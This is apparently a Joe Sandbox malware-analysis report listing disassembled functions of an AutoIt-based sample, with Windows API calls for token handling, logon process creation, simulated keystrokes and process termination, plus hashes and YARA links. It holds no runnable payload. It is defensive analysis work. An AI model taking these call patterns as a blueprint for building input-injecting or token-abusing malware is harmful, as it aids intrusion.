                                                          Function 00548879 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 005480A9: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 005480C0
                                                            • Part of subcall function 005480A9: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 005480CA
                                                            • Part of subcall function 005480A9: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 005480D9
                                                            • Part of subcall function 005480A9: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 005480E0
                                                            • Part of subcall function 005480A9: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 005480F6
                                                          • GetLengthSid.ADVAPI32(?,00000000,0054842F), ref: 005488CA
                                                          • GetProcessHeap.KERNEL32(00000008,00000000), ref: 005488D6
                                                          • HeapAlloc.KERNEL32(00000000), ref: 005488DD
                                                          • CopySid.ADVAPI32(00000000,00000000,?), ref: 005488F6
                                                          • GetProcessHeap.KERNEL32(00000000,00000000,0054842F), ref: 0054890A
                                                          • HeapFree.KERNEL32(00000000), ref: 00548911
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
                                                          • String ID:
                                                          • API String ID: 3008561057-0
                                                          • Opcode ID: 4831e28a1397ba665dc0d869f1d2218c7c08ee837ab8c33e3b21edf8dad9804b
                                                          • Instruction ID: f63be600bcc04e099e5f4b0db40ba5fc1456d10e4e358353cb53020c1184eaa2
                                                          • Opcode Fuzzy Hash: 4831e28a1397ba665dc0d869f1d2218c7c08ee837ab8c33e3b21edf8dad9804b
                                                          • Instruction Fuzzy Hash: 1611AF31501609FFDB14DFA4DC09BFE7B68FB45319F504428F84997210CB329944EB60
                                                          Function 005485B1 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 005485E2
                                                          • OpenProcessToken.ADVAPI32(00000000), ref: 005485E9
                                                          • CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 005485F8
                                                          • CloseHandle.KERNEL32(00000004), ref: 00548603
                                                          • CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00548632
                                                          • DestroyEnvironmentBlock.USERENV(00000000), ref: 00548646
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
                                                          • String ID:
                                                          • API String ID: 1413079979-0
                                                          • Opcode ID: c57cd8988c9e22417d366bb0d9d2020db666d67be2a1fd3bb3b754d1328c0274
                                                          • Instruction ID: 253782a82386f6377f4562928b440ed69531d931e34a23d2821c12decb0ea5d8
                                                          • Opcode Fuzzy Hash: c57cd8988c9e22417d366bb0d9d2020db666d67be2a1fd3bb3b754d1328c0274
                                                          • Instruction Fuzzy Hash: 2A112972501249ABDF01CFA4ED49BEE7BA9FF48348F044065FE09A2161C7729DA5EB60
                                                          Function 0054B790 Relevance: 9.0, APIs: 6, Instructions: 49COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetDC.USER32(00000000), ref: 0054B7B5
                                                          • GetDeviceCaps.GDI32(00000000,00000058), ref: 0054B7C6
                                                          • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0054B7CD
                                                          • ReleaseDC.USER32(00000000,00000000), ref: 0054B7D5
                                                          • MulDiv.KERNEL32(000009EC,?,00000000), ref: 0054B7EC
                                                          • MulDiv.KERNEL32(000009EC,?,?), ref: 0054B7FE
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CapsDevice$Release
                                                          • String ID:
                                                          • API String ID: 1035833867-0
                                                          • Opcode ID: 633d5b40774974126914e972ce51325ea92e0fcf56ef85aed55e79fb817199b4
                                                          • Instruction ID: eb562a6fd69765e03b30116972e4c254d1c51e370ba352cc622f406e0d00f70e
                                                          • Opcode Fuzzy Hash: 633d5b40774974126914e972ce51325ea92e0fcf56ef85aed55e79fb817199b4
                                                          • Instruction Fuzzy Hash: C60184B5E00219BBEF109BA6AC49E5EBFB8FB58721F004075FA08A7291D6309C00DF90
                                                          Function 00510162 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • MapVirtualKeyW.USER32(0000005B,00000000), ref: 00510193
                                                          • MapVirtualKeyW.USER32(00000010,00000000), ref: 0051019B
                                                          • MapVirtualKeyW.USER32(000000A0,00000000), ref: 005101A6
                                                          • MapVirtualKeyW.USER32(000000A1,00000000), ref: 005101B1
                                                          • MapVirtualKeyW.USER32(00000011,00000000), ref: 005101B9
                                                          • MapVirtualKeyW.USER32(00000012,00000000), ref: 005101C1
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Virtual
                                                          • String ID:
                                                          • API String ID: 4278518827-0
                                                          • Opcode ID: dc5cf73ce7c500f639cd5b062fc54b6901dfaca839545af1faad227ac40b1311
                                                          • Instruction ID: c4cd54ac14a2c55843ac0fcebc394a6c3d4bc20bf1807f76279cc8cbc62f76d7
                                                          • Opcode Fuzzy Hash: dc5cf73ce7c500f639cd5b062fc54b6901dfaca839545af1faad227ac40b1311
                                                          • Instruction Fuzzy Hash: 04016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BA15C47941C7F5A868CBE5
                                                          Function 005553E9 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • PostMessageW.USER32(?,00000010,00000000,00000000), ref: 005553F9
                                                          • SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0055540F
                                                          • GetWindowThreadProcessId.USER32(?,?), ref: 0055541E
                                                          • OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0055542D
                                                          • TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00555437
                                                          • CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 0055543E
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
                                                          • String ID:
                                                          • API String ID: 839392675-0
                                                          • Opcode ID: bad60b5e4222be0b763bf99f772c44e0e61d6d0b2fc0ee6abdf2faae2358f5af
                                                          • Instruction ID: f941897acf94b707ed777854e623b2384f02705f7b20fa21bb8390cacd62027c
                                                          • Opcode Fuzzy Hash: bad60b5e4222be0b763bf99f772c44e0e61d6d0b2fc0ee6abdf2faae2358f5af
                                                          • Instruction Fuzzy Hash: 3AF01231141558BBD7219B62EC0DEAB7A7CEBD6B12F000169F908D1051A7A11A45E7B5
                                                          Function 00557230 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • InterlockedExchange.KERNEL32(?,?), ref: 00557243
                                                          • EnterCriticalSection.KERNEL32(?,?,00500EE4,?,?), ref: 00557254
                                                          • TerminateThread.KERNEL32(00000000,000001F6,?,00500EE4,?,?), ref: 00557261
                                                          • WaitForSingleObject.KERNEL32(00000000,000003E8,?,00500EE4,?,?), ref: 0055726E
                                                            • Part of subcall function 00556C35: CloseHandle.KERNEL32(00000000,?,0055727B,?,00500EE4,?,?), ref: 00556C3F
                                                          • InterlockedExchange.KERNEL32(?,000001F6), ref: 00557281
                                                          • LeaveCriticalSection.KERNEL32(?,?,00500EE4,?,?), ref: 00557288
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
                                                          • String ID:
                                                          • API String ID: 3495660284-0
                                                          • Opcode ID: dfc6817861e734ce560f86725921b8aba2e06ee1769cb18a2aa5ab592b23960e
                                                          • Instruction ID: cb47232d47fa7c8b25182bdb73261bc112b752a616c34991239034b640f24876
                                                          • Opcode Fuzzy Hash: dfc6817861e734ce560f86725921b8aba2e06ee1769cb18a2aa5ab592b23960e
                                                          • Instruction Fuzzy Hash: 84F09A3A144202EBD7115F24FC4C9DA3B29FF58302F400132F606910A2CB761888EB60
                                                          Function 00548992 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 0054899D
                                                          • UnloadUserProfile.USERENV(?,?), ref: 005489A9
                                                          • CloseHandle.KERNEL32(?), ref: 005489B2
                                                          • CloseHandle.KERNEL32(?), ref: 005489BA
                                                          • GetProcessHeap.KERNEL32(00000000,?), ref: 005489C3
                                                          • HeapFree.KERNEL32(00000000), ref: 005489CA
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                                          • String ID:
                                                          • API String ID: 146765662-0
                                                          • Opcode ID: c21f1e0713b6bd54ecc8f937808361eb23fe6dce04d4bb6ee5af748169e4aa44
                                                          • Instruction ID: 0499956eab169ffb1b97afc884df3de5b6378731fa68b2ea8f1c4d774007a1c8
                                                          • Opcode Fuzzy Hash: c21f1e0713b6bd54ecc8f937808361eb23fe6dce04d4bb6ee5af748169e4aa44
                                                          • Instruction Fuzzy Hash: 80E05976104505FFD6019FF6FC0C955BB69FBA9762B504631F21D81470CB3254A5FB60
                                                          Function 0056975D Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 242COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0054710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?,?,?,00547455), ref: 00547127
                                                            • Part of subcall function 0054710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?,?), ref: 00547142
                                                            • Part of subcall function 0054710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?,?), ref: 00547150
                                                            • Part of subcall function 0054710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00547044,80070057,?), ref: 00547160
                                                          • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00569806
                                                          • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00569982
                                                          • CoTaskMemFree.OLE32(?), ref: 0056998D
                                                          Strings
                                                          • NULL Pointer assignment, xrefs: 005699DB
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: FreeFromProgTask$CreateInitializeInstanceSecuritylstrcmpi
                                                          • String ID: NULL Pointer assignment
                                                          • API String ID: 4175897753-2785691316
                                                          • Opcode ID: 550d16ed18593471afe0d098c3e8825c764d8283d356885c858ceb746ce4bf71
                                                          • Instruction ID: 1945be17c72ef0a1653fcc59e16e8ed0a5f0e76b55444a813ee4a5900ae766ef
                                                          • Opcode Fuzzy Hash: 550d16ed18593471afe0d098c3e8825c764d8283d356885c858ceb746ce4bf71
                                                          • Instruction Fuzzy Hash: CD911671D0021DEBDB10DFA5DC85EEEBBB9BF08314F10415AE519A7291EB719A44CFA0
                                                          Function 005685ED Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • VariantInit.OLEAUT32(?), ref: 00568613
                                                          • CharUpperBuffW.USER32(?,?), ref: 00568722
                                                          • VariantClear.OLEAUT32(?), ref: 0056889A
                                                            • Part of subcall function 00557562: VariantInit.OLEAUT32(00000000), ref: 005575A2
                                                            • Part of subcall function 00557562: VariantCopy.OLEAUT32(00000000,?), ref: 005575AB
                                                            • Part of subcall function 00557562: VariantClear.OLEAUT32(00000000), ref: 005575B7
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Variant$ClearInit$BuffCharCopyUpper
                                                          • String ID: AUTOIT.ERROR$Incorrect Parameter format
                                                          • API String ID: 4237274167-1221869570
                                                          • Opcode ID: 92a55bd26191873cc247fe5903ac510d0a0d185d0fdec2bf9db2374fedc9c184
                                                          • Instruction ID: 3ea9493cde1a3daba5fe5a1e13d57657d5ea8dd82427def0700ed48a40c61254
                                                          • Opcode Fuzzy Hash: 92a55bd26191873cc247fe5903ac510d0a0d185d0fdec2bf9db2374fedc9c184
                                                          • Instruction Fuzzy Hash: 4F9168706083059FCB10DF25C48496ABBE4FF89714F148A6EF99A8B361DB31E945CB92
                                                          Function 00550AD6 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 105keyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00550B27
                                                          • SetKeyboardState.USER32(00000080,?,00000001), ref: 00550B43
                                                          • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 00550BA9
                                                          • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 00550BFB
                                                          Strings
                                                          • cccccccccccccc68399987e4e856f3ffffe8c1ffffffc21400cccccccccccccccccccccccccccc68983b45e1e836f3ffffe8a1ffffffc20800cccccccccccccccc, xrefs: 00550B5D
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: KeyboardState$InputMessagePostSend
                                                          • String ID: cccccccccccccc68399987e4e856f3ffffe8c1ffffffc21400cccccccccccccccccccccccccccc68983b45e1e836f3ffffe8a1ffffffc20800cccccccccccccccc
                                                          • API String ID: 432972143-1965612092
                                                          • Opcode ID: cc45d6a133897b9b85eb8cb8f5151e4bf3e981c60fe09eee04b0d996064f9e32
                                                          • Instruction ID: 0a5e2252e6a69578fbd0a685bbab7ef8ae9089f34853d99f01f3f7c97f737e71
                                                          • Opcode Fuzzy Hash: cc45d6a133897b9b85eb8cb8f5151e4bf3e981c60fe09eee04b0d996064f9e32
                                                          • Instruction Fuzzy Hash: FF313770940218AFFF308A298C69BFEBFA5BB4533AF08565BEC84521D1C3758D8CA751
                                                          Function 00577291 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00577351
                                                          • IsMenu.USER32(?), ref: 00577369
                                                          • InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 005773B1
                                                          • DrawMenuBar.USER32 ref: 005773C4
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: Menu$Item$DrawInfoInsert
                                                          • String ID: 0
                                                          • API String ID: 3076010158-4108050209
                                                          • Opcode ID: cd2dfbca2bdd4deb94dfbef4ef75a8b452be5187fde0e59157bacef7c125487b
                                                          • Instruction ID: ee786d271ed1f9d914a758bee9e04b31e47714629d36868eb8e6b454645c2395
                                                          • Opcode Fuzzy Hash: cd2dfbca2bdd4deb94dfbef4ef75a8b452be5187fde0e59157bacef7c125487b
                                                          • Instruction Fuzzy Hash: 7A411675A04209AFDB20DF50E884A9ABBF8FB09354F248929FD1997290D730AD54FF50
                                                          Function 00550C11 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101keyboardwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetKeyboardState.USER32(?,762FA2E0,?,00008000), ref: 00550C66
                                                          • SetKeyboardState.USER32(00000080,?,00008000), ref: 00550C82
                                                          • PostMessageW.USER32(00000000,00000101,00000000), ref: 00550CE1
                                                          • SendInput.USER32(00000001,?,0000001C,762FA2E0,?,00008000), ref: 00550D33
                                                          Strings
                                                          • cccccccccccccc68399987e4e856f3ffffe8c1ffffffc21400cccccccccccccccccccccccccccc68983b45e1e836f3ffffe8a1ffffffc20800cccccccccccccccc, xrefs: 00550C9F
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: KeyboardState$InputMessagePostSend
                                                          • String ID: cccccccccccccc68399987e4e856f3ffffe8c1ffffffc21400cccccccccccccccccccccccccccc68983b45e1e836f3ffffe8a1ffffffc20800cccccccccccccccc
                                                          • API String ID: 432972143-1965612092
                                                          • Opcode ID: 086be018efbb76083e713dc337c49cfc9ac657f8c6227f46c4e080ab05670259
                                                          • Instruction ID: 81ff13d00af6fc417c82307a93f9f561bff90cc4c6841efd35889e41da30dff4
                                                          • Opcode Fuzzy Hash: 086be018efbb76083e713dc337c49cfc9ac657f8c6227f46c4e080ab05670259
                                                          • Instruction Fuzzy Hash: 14315530940208AEFF30CA688829BFEFFB6BB86312F04572BE884561D1C3349D8D9751
                                                          Function 0056D7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0056D7C5
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: BuffCharLower
                                                          • String ID: cdecl$none$stdcall$winapi
                                                          • API String ID: 2358735015-567219261
                                                          • Opcode ID: 2a63a65a709c6d7d9c0da484e7e500becfd29132c2b94107583c2fc94570a2db
                                                          • Instruction ID: 34ef2c14608ee7bbc44b1bf00f98654eb103e9156594433d35186a6b3e7a3a0e
                                                          • Opcode Fuzzy Hash: 2a63a65a709c6d7d9c0da484e7e500becfd29132c2b94107583c2fc94570a2db
                                                          • Instruction Fuzzy Hash: 8B310471A0461AABDF00EF64CC559FEBBB4FF45324F008A2AE825972C1CB71AD45CB90
                                                          Function 00548E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 0054AA99: GetClassNameW.USER32(?,?,000000FF), ref: 0054AABC
                                                          • SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00548F14
                                                          • SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00548F27
                                                          • SendMessageW.USER32(?,00000189,?,00000000), ref: 00548F57
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.59699302709.00000000004F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 004F0000, based on PE: true
                                                          • Associated: 00000000.00000002.59699281308.00000000004F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.000000000057F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699431677.00000000005A4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699507097.00000000005AE000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.59699540328.00000000005B7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_4f0000_lKvXJ7VVCK.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$ClassName
